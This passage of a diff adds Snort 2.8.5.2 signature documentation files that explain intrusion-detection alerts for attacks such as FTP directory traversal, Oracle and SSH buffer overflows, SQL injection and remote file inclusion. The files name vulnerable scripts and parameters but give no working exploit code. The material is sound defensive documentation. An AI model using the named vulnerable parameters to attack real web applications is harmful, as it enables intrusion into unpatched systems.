+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/446.txt
+++ snort-2.8.5.2/doc/signatures/446.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+446
+
+--
+Summary:
+This event is generated when an ICMP "SKIP" message is generated with a non-zero ICMP code.
+
+--
+Impact:
+Informational. This may indicate that the ICMP message has been crafted. 
+
+--
+Detailed Information:
+An ICMP "SKIP" message is issued when a SKIP request to provide keying material fails. The ICMP code value for this message should be 0.  If a non-zero code for the ICMP code is observed, it may be an indication that the packet was crafted with an invalid value.
+ 
+
+--
+Affected Systems:
+This traffic should have no adverse impact.
+
+--
+Attack Scenarios:
+An attacker may craft an ICMP "SKIP" message with an invalid ICMP code.  A single packet itself is not harmful, but the unusual ICMP code may indicate that this packet was abnormally generated.
+
+--
+Ease of Attack:
+Simple. There are many packages available to generate ICMP messages.
+
+--
+False Positives:
+Although it should be rare, it is possible to observe an ICMP "SKIP" message with an ICMP code greater than 0 if it is generated by software that does not conform to standards.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+None.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000616.txt
+++ snort-2.8.5.2/doc/signatures/100000616.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000616
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_search.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_search.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2763.txt
+++ snort-2.8.5.2/doc/signatures/2763.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2763
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure do_deferred_repcat_admin
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/284.txt
+++ snort-2.8.5.2/doc/signatures/284.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 
+284
+
+--
+Summary:
+This event generated when an attempt is made to exploit a buffer overflow in the pop2 service.
+
+--
+Impact: 
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable host with the privileges of the user "nobody".
+
+--
+Detailed Information:
+Access to the user "nobody" can be obtained with pop2 or pop3 servers that support "anonymous proxy".  "Anonymous proxy" permits the use of a proxy pop server to access mail on another pop server where the user has a valid account.  This access to the proxy server as user "nobody".  A buffer overflow exists because of improper user input filtering, allowing the attacker to enter an overly long argment to the FOLD command.  This may permit the execution of arbitrary commands on the vulernable server with the privileges of the user "nobody".
+
+--
+Affected Systems:
+Debian Linux 2.1
+Redhat Linux 4.2, 5.0, 5.1, and 5.2
+University of Washington imap 4.4
+University of Washington pop2d 4.4
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable pop2 server, permitting the execution of arbitrary commands with the privilege of user "nobody". 
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the pop2d version 4.51 or later. 
+
+Compile pop2d to not support anonymous proxing.
+
+--
+Contributors:
+Original rule writer unknown
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/283
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000513.txt
+++ snort-2.8.5.2/doc/signatures/100000513.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000513
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "SAPHPLesson" application running on a webserver. Access 
+to the file "showcat.php" with SQL commands being passed as the "forumid" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "forumid" parameter in the "showcat.php" script used by 
+the "SAPHPLesson" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SAPHPLesson
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000498.txt
+++ snort-2.8.5.2/doc/signatures/100000498.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000498
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Calendarix" application running on a webserver. Access to 
+the file "cal_popup.php" with SQL commands being passed as the "id" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "cal_popup.php" script used by the 
+"Calendarix" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Calendarix
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000750.txt
+++ snort-2.8.5.2/doc/signatures/100000750.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000750
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "index.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/497.txt
+++ snort-2.8.5.2/doc/signatures/497.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid: 497
+
+-- 
+Summary: 
+This event is generated by the successful completion of a file transfer operation. This may be indicative of post-compromise behavior indicating the use of a Windows command shell for copying files.
+
+-- 
+Impact: 
+Serious. An attacker may have the ability to transfer files from the victim host.
+
+-- 
+Detailed Information: 
+This event indicates that a file was successfully copied using Windows command line shell.  The string "1 file(s) copied" is shown after the successful completion of a Windows "copy" command. 
+
+Seeing this response in HTTP traffic indicates that an attacker may have been able to spawn a shell bound to a web port and has successfully executed the copy command. Note that the source address of this event is actually the victim and not that of the attacker.
+
+--
+
+Attack Scenarios: 
+An attacker gains an access to a Windows web server via an IIS vulnerability and then copies "cmd.exe" into the directory accessible by the web server, thus creating a backdoor to access the system.
+
+-- 
+
+Ease of Attack: 
+Simple. This may be post-attack behavior and can be indicative of the successful exploitation of a vulnerable system.
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Investigate the web server for other signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2779.txt
+++ snort-2.8.5.2/doc/signatures/2779.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2779
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority_site
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3415.txt
+++ snort-2.8.5.2/doc/signatures/3415.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3415
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1700.txt
+++ snort-2.8.5.2/doc/signatures/1700.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1700
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/449.txt
+++ snort-2.8.5.2/doc/signatures/449.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+449
+
+--
+Summary:
+This event is generated when a routing device detects that a packet has exceeded the maximum number of allowable hops. 
+
+--
+Impact:
+Informational.  This indicates that a packet has been expired by an internal router.  This may be an indication of an attacker attempting a traceroute of a host in your network. 
+
+--
+Detailed Information:
+Each packet is assigned an initial Time To Live (TTL) value before being sent.  This value is usually determined by the operating system of the given TCP/IP stack.  The TTL value represents the maximum number of hops a packet may take before being expired by a routing device.  This is done to banish lost or misguided packets from the network.  The traceroute utility assigns its own TTL values to dictate the number of hops a packet takes, to discover all the routing devices that are traversed by a packet.  During the process, an ICMP "Time Exceeded in Transit" message may be observed. If a router in your network sends this message, it may be an indication that an attacker is attempting a traceroute of a host in your network.
+
+--
+Affected Systems:
+Any device that expires a packet will generate this ICMP message.
+
+--
+Attack Scenarios:
+An attacker may attempt a traceroute to discover your routing devices and network topology.
+
+--
+Ease of Attack:
+Simple. The UNIX traceroute and Windows tracert are provided utilities.
+
+--
+False Positives:
+It is possible to observe an ICMP "Time Exceeded in Transit" message sent outbound if any inbound packet has exceeded the maximum allowable hops.  This may be a indication of a lost packet or routing problems such as a routing loop.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Sites may elect to disable this ICMP message on the outbound interface to prevent releasing potentially value reconnaissance about the network topology.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1614.txt
+++ snort-2.8.5.2/doc/signatures/1614.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1614
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1857.txt
+++ snort-2.8.5.2/doc/signatures/1857.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+1857
+--
+Summary:
+This event is generated when a client is requesting the file "robot.txt"
+from a web server.
+
+--
+Impact:
+Information Disclosure. This file may contain data that could provide an
+attacker with information that could assist in an attack on the server.
+
+--
+Detailed Information:
+In the early days of the web, when search engines first began indexing 
+sites, it was often desirable to tell the indexing programs, referred 
+to as robots, not to index certain parts of a site. A standarized 
+method of accomplishing this was created; by placing a file called 
+"robot.txt" or "robots.txt" in the root of your web site which search 
+engines could read and which would tell them what parts of your site you
+did not want indexed. However, this file can also be very valuable to 
+potential attackers if it contains information such as restricted 
+directories, cgi-bin locations, etc.
+
+--
+Affected Systems:
+Any web site that uses this method to communicate with robots.
+
+--
+Attack Scenarios:
+An attacker can read the "robot.txt" file and use any sensitive data in 
+it to profile your site in preparation for an attack.
+
+--
+Ease of Attack:
+Simple. No exploit software required. Any browser can request a copy of 
+"robot.txt" from the server.
+
+--
+False Positives:
+Many. Most automated search engine indexing programs still request this 
+file prior to crawling through a web site.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure that your "robot.txt" file, if you need one, does not contain any
+sensitive data.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3060.txt
+++ snort-2.8.5.2/doc/signatures/3060.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3060
+
+--
+Summary:
+This event is generated when an attempt is made to initiate a TLS
+connection via SSL version 2.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule indicates that an attempt has been made to initiate a TLS
+connection via SSL v2. This rule should not generate an event.
+
+--
+Affected Systems:
+	All implementations using SSL.
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3124.txt
+++ snort-2.8.5.2/doc/signatures/3124.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3124
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2345.txt
+++ snort-2.8.5.2/doc/signatures/2345.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2345
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+search.php script which contains known vulnerabilities and
+is part of  the phpGedView CGI web application running on a server.
+
+--
+Impact:
+Information gathering and possible cross site scripting attack.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the phpGedView CGI web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to
+cross site scripting attacks.
+
+--
+Affected Systems:
+	phpGedView
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including it in the
+firstname parameter of the search.php script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1326.txt
+++ snort-2.8.5.2/doc/signatures/1326.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1326
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with root privileges. Denial 
+of Service (DoS) on certain network devices.
+
+--
+Detailed Information:
+A flaw in the CRC32 compensation attack detection code may result in 
+arbitrary code execution with the privileges of the user running the SSH
+daemon (usually root).
+
+Some Netscreen devices may suffer a Denial of Service.
+
+Affected Systems:
+	OpenSSH versions prior to 2.2
+	Multiple Cisco network devices
+	Multiple Netscreen network devices
+	SSH Secure Communications prior to 1.2.31
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted large SSH packets to 
+cause the overflow and present the opportunity to write values to memory
+locations.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+Analysis by David Dittrich:
+http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2685.txt
+++ snort-2.8.5.2/doc/signatures/2685.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2685
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_column
+. This procedure is included in
+sys.dbms_repcat_rq.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-1.txt
+++ snort-2.8.5.2/doc/signatures/111-1.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+111-1
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+a network scan is in progress. That is, a TCP datastream has been
+detected that does not conform to normal activity.
+
+An attacker may be able to determine the characteristics of a remote
+system by sending abnormal network data. The response can reveal the
+operating system type, indicate the presence of a firewall or show open
+and closed ports on the host.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
